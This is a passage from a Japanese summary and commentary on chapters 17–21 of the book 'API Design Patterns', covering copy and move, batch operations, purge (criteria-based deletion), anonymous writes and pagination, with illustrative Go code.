tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\\"parent\\"` Filter string `json:\\"filter\\"` Force bool `json:\\"force\\"`}type PurgeResponse struct { PurgeCount int `json:\\"purgeCount\\"` PurgeSample []string `json:\\"purgeSample,omitempty\\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \\"\\" { return nil, errors.New(\\"filter is required\\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\\"name\\"` Value interface{} `json:\\"value\\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\\"parent\\"` Entry ChatRoomStatEntry `json:\\"entry\\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\\"pageToken\\"` MaxPageSize int `json:\\"maxPageSize\\"`}type ListResourcesResponse struct { Resources []*Resource `json:\\"resources\\"` NextPageToken string `json:\\"nextPageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: 